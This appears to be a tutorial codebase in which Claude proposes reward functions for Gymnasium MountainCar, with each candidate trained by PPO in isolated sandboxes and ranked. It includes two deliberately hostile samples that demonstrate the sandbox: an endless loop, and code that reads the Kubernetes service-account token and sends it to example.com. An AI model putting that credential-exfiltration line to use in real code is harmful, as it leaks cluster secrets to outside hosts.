Reward design with Claude and sandboxes

flyte create secret anthropic-api-key
git clone https://github.com/unionai/unionai-examples
cd unionai-examples/v2/tutorials/eureka_reward_design
python eureka.py            # 4 generations of 6 candidates, about 25 minutes
python eureka.py --smoke    # 2 generations of 3 candidates

# The sandbox base image carries the sandbox server, and unionai-reuse the bridge that
# reusable environments need. Torch comes from the CPU-only index.
image = (
    sb.base_image.clone(name="eureka-reward-design")
    .with_pip_packages("torch==2.9.1", index_url="https://download.pytorch.org/whl/cpu")
    .with_pip_packages("gymnasium[classic-control]==1.2.3", "numpy<3", "Pillow", "anthropic==2.6.0", "unionai-reuse==0.2.1")
)

# Candidate evaluation: a warm pool of CPU pods. Each call trains one candidate on every seed
# at once, one sandbox session per seed, and a replica takes one call at a time.
eval_env = flyte.TaskEnvironment(
    name="eureka-eval",
    image=image,
    resources=flyte.Resources(cpu=6, memory="16Gi"),
    reusable=flyte.ReusePolicy(replicas=(1, 6), concurrency=1, idle_ttl=600, scaledown_ttl=180),
    env_vars={"SDL_VIDEODRIVER": "dummy"},
    # The harness is copied into each sandbox, never imported here, so include it explicitly.
    include=["harness.py"],
)

# The driver runs the loop and calls Claude. It holds the API key; the sandboxes never see it.
driver_env = flyte.TaskEnvironment(
    name="eureka-driver",
    image=image,
    resources=flyte.Resources(cpu=2, memory="4Gi"),
    secrets=[flyte.Secret(key=ANTHROPIC_SECRET, as_env_var="ANTHROPIC_API_KEY")],
    env_vars={"SDL_VIDEODRIVER": "dummy"},
    depends_on=[eval_env],
)

TASK = """\
Environment: Gymnasium MountainCar-v0. An underpowered car sits in a valley between two hills
and must reach the flag on top of the right hill. Its engine is too weak to drive straight up,
so it has to rock back and forth to build momentum.

Observation, a numpy array of two float32 values:
  obs[0]  position, in [-1.2, 0.6]. The valley floor is near -0.52. The flag is at 0.5.
  obs[1]  velocity, in [-0.07, 0.07]. Positive is to the right.
Actions: 0 = push left, 1 = no push, 2 = push right.
Dynamics, per step:
  velocity += (action - 1) * 0.001 - 0.0025 * cos(3 * position), clipped to [-0.07, 0.07]
  position += velocity, clipped to [-1.2, 0.6]. At the left wall the velocity is set to 0.
An episode terminates when position >= 0.5, and is cut off after 200 steps.

The environment's own reward is -1 on every step, which gives a policy no signal until it
reaches the flag by chance. Almost no random policy ever does.

Task metric: the share of evaluation episodes in which a greedy policy reaches the flag. Each
reward function trains a PPO policy for a fixed, small budget of environment steps, on several
seeds, and is ranked by the mean task metric over the seeds. The policy is never graded on your
reward, only on the task metric.
"""

SIGNATURE = """\
Write a Python function with exactly this signature:

    def compute_reward(obs, action, next_obs, terminated):
        ...
        return total_reward, {"term_name": term_value, ...}

- obs and next_obs are numpy arrays of shape (2,); action is an int; terminated is True when
  next_obs reached the flag.
- Return a float and a dict that breaks the float into its named terms. The dict is how you
  get feedback on each term after training.
- `np` (numpy) and `math` are already imported. Do not import anything else, read files, or
  use the network. The function runs once per environment step, so keep it cheap.
"""

def proposal_prompt(num_candidates: int, history: list[dict]) -> str:
    """The user message for one generation: the task, then the reflection on the last best."""
    parts = [TASK, SIGNATURE, f"Write {num_candidates} different candidate reward functions."]
    if history:
        # Elitist: reflect on the best reward so far, so a weak generation cannot drag the
        # search backwards.
        best = max(history, key=lambda h: (h["success"], -h["steps"]))
        parts.append(
            f"Here is the best reward function so far (from generation {best['generation']}), and what "
            "happened when policies were trained with it:\n\n"
            f"```python\n{best['code']}\n```\n\n{reflection(best)}\n\n"
            "Analyze the feedback: which terms helped, which were too small, too large, or "
            "constant, and why the policy did or did not reach the flag. Then write improved "
            "candidates. You may rewrite the reward entirely."
        )
        last = history[-1]["scoreboard"]
        parts.append("Every candidate of the last generation, with its task metric:\n" + "\n".join(
            f"- {name}: {success:.0%}{'' if outcome == 'trained' else f' ({outcome})'}. {idea}"
            for name, idea, success, outcome in last))
        scores = ", ".join(f"generation {h['generation']}: {h['success']:.0%}" for h in history)
        parts.append(f"Best task metric so far, by generation: {scores}.")
    return "\n\n".join(parts)

def reflection(result: dict) -> str:
    """Eureka's reward reflection: the task metric and every term, early and late in training."""
    lines = [
        f"Task metric (flag reached, mean over {result['seeds']} seeds): {result['success']:.0%}",
        f"Per seed: {', '.join(f'{s:.0%}' for s in result['per_seed'])}",
        f"Mean highest position reached in evaluation: {result['best_pos']:.2f} (flag at 0.50)",
    ]
    for name, v in result["components"].items():
        early = "n/a" if v["early"] is None else f"{v['early']:.4f}"
        late = "n/a" if v["late"] is None else f"{v['late']:.4f}"
        lines.append(f"Term {name}: mean per step {early} early in training, {late} late")
    if result.get("error"):
        lines.append(f"The reward failed: {result['error']}")
    return "\n".join(lines)

@flyte.trace
async def propose_rewards(generation: int, num_candidates: int, history_json: str) -> str:
    """Ask Claude for reward functions. Traced, so a retried driver reuses the answer instead of paying again."""
    import anthropic

    client = anthropic.AsyncAnthropic()
    async with client.beta.messages.stream(
        model=MODEL,
        max_tokens=32_000,
        betas=["server-side-fallback-2026-07-01"],
        fallbacks="default",
        system=prompts.SYSTEM,
        output_config={"effort": "high", "format": {"type": "json_schema", "schema": prompts.CANDIDATES_SCHEMA}},
        messages=[{"role": "user", "content": prompts.proposal_prompt(num_candidates, json.loads(history_json))}],
    ) as stream:
        message = await stream.get_final_message()
    if message.stop_reason == "refusal":
        raise RuntimeError(f"Claude declined to write rewards for generation {generation}")
    text = next(b.text for b in message.content if b.type == "text")
    print(f"generation {generation}: {message.usage.input_tokens} input, {message.usage.output_tokens} output tokens")
    return text

def train(compute_reward, total_steps: int, num_envs: int, seed: int) -> dict:
    """PPO with the candidate's reward in place of the environment's."""
    torch.manual_seed(seed)
    torch.set_num_threads(1)
    envs = gym.vector.SyncVectorEnv([lambda: gym.make("MountainCar-v0") for _ in range(num_envs)])
    net = ActorCritic()
    opt = torch.optim.Adam(net.parameters(), lr=2.5e-4)
    horizon, epochs, minibatches, gamma, lam, clip = 128, 4, 4, 0.99, 0.95, 0.2
    obs, _ = envs.reset(seed=seed)
    curve, components, finished, reached = [], [], 0, 0
    updates = max(1, total_steps // (horizon * num_envs))
    for update in range(updates):
        b_obs, b_act, b_logp, b_rew, b_done, b_val = [], [], [], [], [], []
        terms: dict[str, list[float]] = {}
        for _ in range(horizon):
            with torch.no_grad():
                logits, value = net(scale(obs))
                dist = torch.distributions.Categorical(logits=logits)
                action = dist.sample()
            next_obs, _, terminated, truncated, info = envs.step(action.numpy())
            # On an autoreset, gymnasium returns the first observation of the next episode. The
            # reward must see where this episode ended, so use the final observation instead.
            real_next = next_obs.copy()
            if "final_obs" in info:
                for i, f in enumerate(info["_final_obs"]):
                    if f:
                        real_next[i] = info["final_obs"][i]
            rewards = np.zeros(num_envs, dtype=np.float32)
            for i in range(num_envs):
                r, parts = compute_reward(obs[i].copy(), int(action[i]), real_next[i].copy(), bool(terminated[i]))
                rewards[i] = float(r)
                for k, v in (parts or {}).items():
                    terms.setdefault(str(k), []).append(float(v))
            if not np.all(np.isfinite(rewards)):
                raise ValueError("reward returned a non-finite value")
            done = np.logical_or(terminated, truncated)
            finished += int(done.sum())
            reached += int(terminated.sum())
            b_obs.append(scale(obs))
            b_act.append(action)
            b_logp.append(dist.log_prob(action))
            b_rew.append(torch.as_tensor(rewards))
            b_done.append(torch.as_tensor(done, dtype=torch.float32))
            b_val.append(value)
            obs = next_obs

        with torch.no_grad():
            _, last_val = net(scale(obs))
        adv, gae = torch.zeros(horizon, num_envs), torch.zeros(num_envs)
        for t in reversed(range(horizon)):
            nxt = last_val if t == horizon - 1 else b_val[t + 1]
            nonterminal = 1.0 - b_done[t]
            delta = b_rew[t] + gamma * nxt * nonterminal - b_val[t]
            gae = delta + gamma * lam * nonterminal * gae
            adv[t] = gae
        ret = adv + torch.stack(b_val)
        flat = lambda xs: torch.stack(xs).reshape(horizon * num_envs, *xs[0].shape[1:])
        o, a, lp, ad, rt = flat(b_obs), flat(b_act), flat(b_logp), adv.reshape(-1), ret.reshape(-1)
        ad = (ad - ad.mean()) / (ad.std() + 1e-8)
        idx = np.arange(horizon * num_envs)
        size = len(idx) // minibatches
        for _ in range(epochs):
            np.random.shuffle(idx)
            for s in range(0, len(idx), size):
                mb = idx[s:s + size]
                logits, v = net(o[mb])
                dist = torch.distributions.Categorical(logits=logits)
                ratio = (dist.log_prob(a[mb]) - lp[mb]).exp()
                pg = -torch.min(ratio * ad[mb], ratio.clamp(1 - clip, 1 + clip) * ad[mb]).mean()
                loss = pg + 0.5 * ((v - rt[mb]) ** 2).mean() - 0.01 * dist.entropy().mean()
                opt.zero_grad()
                loss.backward()
                nn.utils.clip_grad_norm_(net.parameters(), 0.5)
                opt.step()

        steps = (update + 1) * horizon * num_envs
        curve.append({"step": steps, "train_success": reached / max(finished, 1),
                      "reward": float(torch.stack(b_rew).mean())})
        components.append({k: float(np.mean(v)) for k, v in terms.items()})
        finished, reached = 0, 0
    return {"net": net, "curve": curve, "components": components}

def python_paths() -> list[str]:
    """Where this image's Python and its packages live, so the sandbox can read them."""
    import sysconfig

    paths = {sys.prefix, sys.base_prefix, sysconfig.get_paths()["purelib"], sysconfig.get_paths()["stdlib"]}
    return sorted(p for p in paths if not p.startswith(("/usr", "/lib", "/bin")))

async def train_in_sandbox(code: str, seed: int, total_steps: int, eval_episodes: int, timeout_s: int) -> dict:
    """Train and grade one policy with one candidate reward, inside a fresh sandbox session."""
    wd = tempfile.mkdtemp(prefix="candidate-")  # the session's only writable path
    config = {"total_steps": total_steps, "num_envs": 16, "seed": seed, "eval_episodes": eval_episodes, "save_policy": True}
    async with sb.on_device.session(
        backend="userns",
        host_work_dir=wd,
        network_mode="blocked",
        read_only_paths=python_paths(),
        timeout_s=timeout_s,
        resources=flyte.Resources(cpu="1", memory="2Gi"),
    ) as session:
        await session.put_bytes(f"{wd}/harness.py", (HERE / "harness.py").read_bytes())
        await session.put_bytes(f"{wd}/reward.py", code.encode())
        await session.put_bytes(f"{wd}/config.json", json.dumps(config).encode())
        proc = await session.run(f"{sys.executable} {wd}/harness.py {wd}", stdout=True, stderr=True)
        out, err = await proc.communicate_text()
    if proc.returncode == 0 and out.strip():
        return {**json.loads(out.strip().splitlines()[-1]), "policy": f"{wd}/policy.pt"}
    return {"error": (err.strip().splitlines() or [f"exit {proc.returncode}"])[-1][:300], "returncode": proc.returncode}

@eval_env.task(retries=1)
async def evaluate_reward(
    candidate: Candidate, total_steps: int = 150_000, seeds: int = 5, eval_episodes: int = 20, timeout_s: int = 420,
) -> tuple[Result, File | None]:
    """Train a policy with one candidate reward on every seed in parallel, and grade it on the task."""
    started = time.time()
    runs = await asyncio.gather(*[
        train_in_sandbox(candidate.code, seed, total_steps, eval_episodes, timeout_s) for seed in range(seeds)
    ])
    elapsed = time.time() - started
    ok = [r for r in runs if "error" not in r]
    base = dict(name=candidate.name, idea=candidate.idea, code=candidate.code, generation=candidate.generation)
    if not ok:
        err = runs[0]["error"]
        print(f"{candidate.name}: {err}")
        return Result(**base, outcome=verdict(err, elapsed, timeout_s), error=err, seeds=seeds), None

    n = len(ok)
    curve = [
        {"step": pts[0]["step"], "train_success": sum(p["train_success"] for p in pts) / n}
        for pts in zip(*[r["curve"] for r in ok])
    ]
    best = max(ok, key=lambda r: (r["success"], -r["steps"]))
    result = Result(
        **base,
        outcome="trained",
        success=sum(r["success"] for r in runs if "error" not in r) / seeds,  # a crashed seed counts as 0
        per_seed=[r.get("success", 0.0) for r in runs],
        steps=sum(r["steps"] for r in ok) / n,
        best_pos=sum(r["best_pos"] for r in ok) / n,
        seeds=seeds,
        components=ok[0]["components"],
        curve=curve,
        error="" if n == seeds else f"{seeds - n} seed(s) failed: {next(r['error'] for r in runs if 'error' in r)}",
        train_s=round(elapsed, 1),
    )
    print(f"{candidate.name}: success {result.success:.0%} per seed {result.per_seed} in {elapsed:.0f}s")
    return result, await File.from_local(best["policy"])

# Model-written code is untrusted. These two stand in for the candidates that go wrong: one
# never returns, and one tries to read the pod's credentials and call out to the network.
# They run in generation 1 with everything else, and the sandbox stops both.
HOSTILE = {
    "never_returns": """\
def compute_reward(obs, action, next_obs, terminated):
    while True:
        pass
""",
    "exfiltrates": """\
import os, urllib.request
token = open("/var/run/secrets/kubernetes.io/serviceaccount/token").read()
urllib.request.urlopen("https://example.com/?t=" + token[:8], timeout=3)
def compute_reward(obs, action, next_obs, terminated):
    return 0.0, {}
""",
}

@driver_env.task(report=True, produces_artifacts=True)
async def eureka(
    generations: int = 4,
    candidates_per_generation: int = 6,
    total_steps: int = 150_000,
    seeds: int = 5,
    include_hostile: bool = True,
) -> File:
    """Evolve reward functions for MountainCar with Claude, and publish the best one."""
    budget = dict(total_steps=total_steps, seeds=seeds)
    baselines = asyncio.gather(
        evaluate_reward(Candidate("environment_reward", "the environment's own -1 per step", prompts.SPARSE, 0), **budget),
        evaluate_reward(Candidate("human_energy_shaping", "mechanical energy gain plus a goal bonus", prompts.HUMAN, 0), **budget),
    )
    results: list[Result] = []
    policies: dict[str, File] = {}
    history: list[dict] = []  # the best of each generation, which is what Claude reflects on

    for g in range(1, generations + 1):
        with flyte.group(f"generation-{g}"):
            text = await propose_rewards(g, candidates_per_generation, json.dumps(history))
            candidates = [Candidate(c["name"], c["idea"], c["code"], g) for c in json.loads(text)["candidates"]]
            if g == 1 and include_hostile:
                candidates += [Candidate(n, "hostile code, to show the sandbox", c, g) for n, c in prompts.HOSTILE.items()]
            evaluated = await asyncio.gather(*[evaluate_reward(c, **budget) for c in candidates])
        for r, policy in evaluated:
            results.append(r)
            if policy:
                policies[f"{r.generation}/{r.name}"] = policy
        best = max((r for r, _ in evaluated), key=rank)
        history.append({**asdict(best), "seeds": seeds,
                        "scoreboard": [(r.name, r.idea, r.success, r.outcome) for r, _ in evaluated
                                       if r.name not in prompts.HOSTILE]})
        await flyte.report.replace.aio(reports.live(results, history, None, generations), do_flush=True)

    base = [r for r, _ in await baselines]
    winner = max(results, key=rank)
    gif = await render_policy(policies[f"{winner.generation}/{winner.name}"]) if winner.success > 0 else ""
    await flyte.report.replace.aio(reports.final(results, history, base, winner, gif), do_flush=True)
    flyte.report.get_tab("Candidates").replace(reports.candidates_tab(results))
    await flyte.report.flush.aio()

    path = os.path.join(tempfile.mkdtemp(), f"{winner.name}.py")
    Path(path).write_text(winner.code)
    card = await artifacts.Card.create_from.aio(content=reports.card(winner, base, history, gif), format="html", card_type="model")
    metadata = artifacts.Metadata(
        name="mountaincar-reward-function",
        description=f"Best of {len(results)} Claude-written MountainCar rewards: flag reached in {winner.success:.0%} of episodes",
        kind="model",
        attrs={"candidate": winner.name, "generation": str(winner.generation), "success": f"{winner.success:.3f}",
               "total_steps": str(total_steps), "seeds": str(seeds), "model": MODEL},
        card=card,
    )
    return artifacts.new(await File.from_local(path), metadata)